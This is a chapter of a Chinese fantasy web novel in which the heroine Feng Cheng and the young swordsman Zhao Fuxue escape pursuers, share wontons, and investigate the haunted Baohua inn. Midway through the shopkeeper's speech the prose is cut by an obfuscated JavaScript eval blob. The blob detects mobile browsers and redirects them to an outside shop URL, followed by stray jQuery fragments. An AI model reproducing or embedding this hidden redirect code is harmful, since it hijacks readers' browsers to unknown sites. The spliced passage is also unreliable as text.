6. 第 6 章
    直到身后的追赶声全然消失,封澄才大笑着放开赵负雪的手腕。

    “痛快,痛快。”

    赵负雪转头看向她,心底像被炸了道花火:“哪里来的小疯子。”

    他口上却凉凉道:“你倒是痛快,留的剑痕可是我的。”

    封澄劈石,用的是赵负雪的剑,众人回头去查剑痕,也只能查到赵负雪的“见素”,封澄这一劈是尽了兴,可后续算起账来,竟是丝毫查不到封澄的头上。

    到了此时,封澄才后知后觉地发现,自己大概是给赵负雪惹了个大麻烦。

    她颇有些尴尬地想,怎么血气一上头,拔了赵负雪的剑就砍呢?赵负雪的剑也不认生,就这么被她拔了出来……

    赵负雪很谴责地看她,封澄在赵负雪谴责的视线里越发无地自容,半晌,她尴尬地眨了眨眼睛,找补道:“我……我看那小子不顺眼,一路上念得我心烦……”

    说着说着,封澄微微皱了眉,喉咙一甜,嗓子一清,竟然冷不丁地吐了口血出来,这血出来,不光封澄傻了,就连赵负雪也愣住了。

    封澄擦了擦嘴,转头继续对赵负雪道:“我冲动行事,劈了他家的碑,陈风起那个小心眼的,必然上门找公子的事,公子被我连累……”

    封澄心中只不想陈家生事波及赵负雪,而赵负雪盯着她未擦干净的血迹,问道:“这是怎么回事?”

    这?

    封澄反应过来:“不妨事,只是一些小毛病。”

    想必是醒来的时候喝的那碗粥在作祟,魔气入体这么久,也该发作了。

    只是封澄并不把这种小伤放在心上——当年长煌大原上厮杀,喉咙被豁开的时候也不是没有,吐个血算什么?只当清理淤血了。

    兴许是方才灵力大爆,又气急攻心的缘故,封澄的脸显得分外苍白,妖女年纪不大,灰头土脸,嘴角挂血,看着好像是被踹了一脚的灰扑扑白猫。

    赵负雪不自觉地皱了皱眉,心中莫名堵了堵——把这妖女拉去修血道,又放出来挨打受伤的人,到底是怎么想的。

    封澄又道:“连累赵公子了。”

    赵负雪被打断思绪,忽然反应过来:“你如何得知我姓赵?”

    糟糕,脱口而出,鲁莽了。

    封澄蓦地一僵,连忙找补道:“赵家负雪公子盛名,谁人不知?我早已敬仰良久,只一见面,便认得了。”

    这话倒也合情合理,赵负雪年少成名,一手见素,一身白衣,世人皆知。

    赵负雪一勾嘴角,心底好似炸了一重一重的花火,面上却不改声色:“我还不知你名姓。”

    封澄见他好似挺高兴,心下也是松了一口气:“姓封,单名一个澄字。”

    二人一道前行,夜深,山路难行,封澄与赵负雪并肩而行,心中略有些不自在。

    赵负雪靠的极近,她甚至能碰到他手臂的热意。

    也只在二人相处的寂静之时,封澄终于意识到,师尊是变成少年了,可她还是原来的人。

    赵负雪于她而言,还是那个云巅之上的师尊,目下无尘,清冷如仙。她这诸多冒犯,已是不敬。

    如此贴近,更是亵渎。

    她不动声色地离赵负雪远了些。

    赵负雪忽然觉得封澄与他的中间隔开许多,定睛一看,足足有几个人的距离,距离一远,这妖女看着脸色苍白、面带愁容,衣衫狼狈——更可怜了。

    可她分明是搅得世间不得安宁的血修。

    封澄琢磨着如何同赵负雪分别告辞,顺便提醒一下他不久后的大劫。谁知行至半路,赵负雪忽然道:“血修修行,惯常以人血肉为引,你行走江湖,要谋求此物吗?”

    封澄闻言,沉思片刻:“我刚才似乎说过此事,我不是人血修的。”

    赵负雪冷着脸上前走一步:“是与否,我自会在日后慢慢查明,往后江湖,烦请姑娘多担待了。”

    封澄:“……”

    没想到师尊是这等嫉恶如仇以身饲虎的高风亮节之士?

    古安此地繁华,外来人士也多,只是时候晚了,即便是有几家客栈,也都是满人,封澄带着人四处搜寻,没找到客栈,倒找到了间馄饨铺子。

    “一直空着肚子找房子也是不便,吃不吃馄饨?”封澄觉得需要邀请他一下。

    赵负雪二话不说,提起步,走进了铺子。

    馄饨铺子的主人正打算收摊,见了封澄二人来,先是警惕:“你们,你们想干什么?”

    这店主的脸上满是惊恐,想必是把二人当作深夜劫掠的了,封澄看着自己这身打扮,一时有些无言,半晌,她才道:“我们是来吃饭的。”

    老板眼睛一亮,嗬一声,站起来招呼道:“哦,两位快坐,咱们来对地方了,我这馄饨,在十里八乡都是出了名的,要吃什么?”

    封澄看了看菜单,道:“两碗馄饨,给他的不要辣子,再随意煮个甜汤上来。”

    老板哎了一声,兴冲冲地进去忙碌了,封澄自在外面挑了个桌子坐下,招呼道:“你也坐,我自作主张给你去了辣子,你可以么?”

    赵负雪的睫毛盖住眼底,道:“不挑,我去要一壶茶水。”

    一会儿,赵负雪拿着茶壶走了过来。

    封澄托腮看着他。

    赵负雪长得好看,病骨支离的时候好看,年轻的时候更好看。

    他出身京城大族,身上却不见半分纨绔习气;长得名动京城,也不见半分骄纵之意;灵力卓绝,天资无双,更毫无恃强凌弱之心。

    剑守长煌,心怀苍生。

    她的师尊,好得令人不敢置信。

    封澄含笑看着他,看得赵负雪耳畔缓缓爬上红意:“你看什么?”

    她含笑指了指他提着的壶:“人长得好看就是妙,连拎着的陶泥水壶也跟着沾光,像个了不得的珍玩。”

    赵负雪:“……”

    轻薄。

    他在封澄面前落座:“溜须拍马,我也不会与你同流合污的。”

    封澄看着他的嘴一张一合,苍白的唇,湿润的茶水。

    一时视线有些飘逸,封澄有些狼狈地举起茶杯,喝水掩饰道:“好,好,没问题,你说得对。”

    正在此时,甜汤上桌,封澄眼前一亮,一口甜汤下肚,顿觉整个身体都熨帖了,她舒了一口气,才道:“吃一口甜汤,才觉人生之乐不过如此。”

    赵负雪食不言,慢条斯理地咬开馄饨,吃了下去,才道:“你平日修行的地方,有甜汤吃吗?”

    修行之地?

    封澄想了想,天机院倒是有甜汤,只是她没呆几年天机院,便去了长煌大原:“有,不过少,那里风大天冷人又少,商贩从不过去。”

    赵负雪不说话了,低头吃馄饨。

    今日奔波忙碌,吃下去的不过是醒转时喝到的一口粥,还是有毒的,封澄早就饥肠辘辘——哪怕是天机师强横无匹的身体也会饿的,馄饨鲜香,封澄索性也不说话,专心吃饭,不一会儿,一碗馄饨便见了底。

    待她吃完了馄饨,喝完了甜汤,灌了不知多少杯茶水后,赵负雪终于从从容容地吃完了饭。

    当真是世家公子的吃法,封澄大为叹服——这文雅的,够她吃八顿。

    她抬手道:“掌柜的,结账!”

    钱包里是陈云偷偷给她塞的救命钱,不花白不花,封澄乐滋滋地掏出荷包。

    掌柜敲了敲算盘,从柜台后疑惑地探出头来,道:“这位公子已经结过了。”

    封澄一怔,赵负雪站起来,道:“夜已然深了,若你不想露宿街头,该找客栈投宿了。”

    这不难,在等赵公子用膳时,封澄早已将四周研究了个遍,不远处便有客栈。

    一听封澄要投宿的地方,馄饨铺老板倒吸一口气,算盘也不打了:“二位是要找住的地方啊?这客栈可住不得,住不得!宁肯找农家投宿,都不要住这一家啊!”

    封澄起了兴致,又倒了一杯茶,边喝边问道:“哦?为何住不得?”

    老板唉声叹气:“我们古安,这几年神神鬼鬼的,你看那个客栈。”

    封澄顺着老板指着看过去,浓浓夜色里,一道楼影,看着倒是颇具规模。

    老板绘声绘色道:“这个楼呢,名为宝华,从前是我们这里最大的客栈,可谓是歌舞升平,游人如织,还有那个什么,男欢女笑。”

    封澄听得目瞪口呆,连捏着茶杯的手都险些松了。

    宝华楼,这名字她可耳熟。

    这不是赵负雪年轻时游历过的地方、除魔的传说之地嘛。

    注意到封澄骤然感兴趣的双眼,老板说得愈发唾沫横飞:“可是有一天,这客栈的生意到头了!”

    “西吉街李家的大女儿阿环,名声在外的花魁,死后成魔,屠了宝华楼,盘踞于此,无人能入!”

    赵负雪对这话多的老板颇为不耐烦,看见封澄兴致勃勃,闭了闭眼,又寻了一处凳子坐下了。

    封澄道:“此地修士可曾除魔?”

    老板一拍大腿:“怎么会没来过?陈家下来不知道多少次,次次刹羽而归,到了现在啊,谁敢进宝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177579|138974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    华楼一步,必然不出三日,血溅三尺啊!”

    “荒谬——!!”她终于忍不住,擦了擦嘴,一拍桌子,道:“这宝华楼就在陈氏山庄脚底下,还能放它如此嚣张!”

    老板叹道:“唉,其实只要不进宝华楼,人是不会有事的,陈氏不除它,似乎也无甚问题。”

    封澄心道好一个陈家,缩头乌龟竟能做到这个份上。

    “听闻近日城中中毒之事,也与宝华楼脱不了关系,人家天机师都查了,魔气就是源于宝华楼——只是谁敢进去除魔?”老板叹息。

    城中中毒之事?封澄一惊,不由得摸上自己的心口——难道是她所吃那碗粥米的毒?

    那么这事不管还不行了。

    老板道:“总归不是好东西,两位还是莫要去招惹了,若是不嫌弃,不如来寒舍住一晚,我家常有客房,一应器具都是齐全的。”

    封澄拱了拱手,道:“那就叨扰了。”

    她对赵负雪挥挥手:“赵公子,你要不要跟上。”

    老板的客房果然干净齐整,封澄心中心事重重,头一沾枕头,倒是飞快地沉沉睡去了。

    而一墙之隔的赵负雪,却是心乱如麻,他在屋中捧书踱步,不知走了多少个来回,心中仍是杂乱。

    夜里寂静,屋中只有烛泪滴下的声音。

    “这血修妖女,睡得倒是安稳。”

    客房的隔音并不好,如若靠近墙壁,能听到隔壁的呼吸声,搅得赵负雪更乱了,仿佛一闭眼,就是封澄狡黠眯着的双眼,还有立于人魔对面,灵力暴涨的模样。

    连一本书也看不入眼,赵负雪叹了口气。

    不过一日,他的生活便被这妖女全搅乱了,碰上血修,抓了便是,他又抽了哪根筋,竟还贴身监视?

    赵负雪叹了口气,一夜漫长。

    次日清晨,封澄精神抖擞地出门,一看,面前便是身负长剑的赵负雪,她微微挑了挑眉。

    他认床吗?

    怎么挂了两个这么大的黑眼圈。

    封澄昨日的衣服已然脏得不能穿了,于是向老板买了一件便服换上,这人一收拾,便露出了本貌。

    若有早年认得封澄的人见着她,定然会大吃一惊。

    她重生回来,生得竟和她十几岁时一摸一样,她身量高挑,一双桃花眼潋滟明媚,见人含笑,看着相当喜人。

    二人行走在街上,引得路人侧目。

    路过一家灵器铺子,封澄进去买了一打符纸。

    符纸在手,她提前用血画了,就不用次次取血了。

    ”一张,两张,三张……“

    封澄一张一张地数符纸,数完后,看见少年时期的赵负雪站在不远处的树下,抱臂负剑,闭目养神,一副等待的模样。

    说是监视,却像是保镖。

    她不由得想起来,她在天机院时,赵负雪多病难行,二人之间莫说私下相处,就连正经交流也没有几次。加上天机院事多繁琐,她之前还守着他的院门等待,后来便忙于修学训练。

    细细想来,拜师两年,二人朝夕相对的日子,竟是没有几日。

    赵负雪为何执意带她入京,执意收她为徒,仍是封澄至今未懂的问题。

    数完符纸,封澄向他走来,举起手,笑眯眯地对赵负雪道:“此楼于我关乎性命,辛苦赵公子陪我走一趟,”

    赵负雪睁开眼睛,打了个哈欠,点了头道:“走吧。”

    二人停在了宝华楼前,封澄抬眼望去。

    在热闹的时候,宝华楼应当是颇具规模的,楼高数丈,红绸张扬,只是听了宝华楼的屠楼之传后,封澄觉得这红绸瘆人,好似血染。

    “这楼建的年数应当不多,这漆料还是新的。”

    没人住的地方总是荒得格外快,不沾人气,再新的建筑都会透着一股鬼气。

    门口的草木分外茂盛,这让人很难不多想。

    封澄忽生好奇——方才应该问问的,进了宝华楼的人,是一出楼便血溅当场了吗?

    此时赵负雪道:“妖女,你来看。”

    封澄下意识地应了一声,正要走去,却忽觉不对:“你叫我什么?”

    赵负雪面不改色:“妖女。”

    “……”

    封澄抽了抽嘴角:“你要是这样叫,我可就真做妖女了哦。”

    赵负雪装没听到。

    封澄算是看明白了——年轻的赵负雪,正义爆棚、又俊又炸,还疑似自来熟。

    和她那清冷师尊没半块铜板的关系,着实令人大开眼界。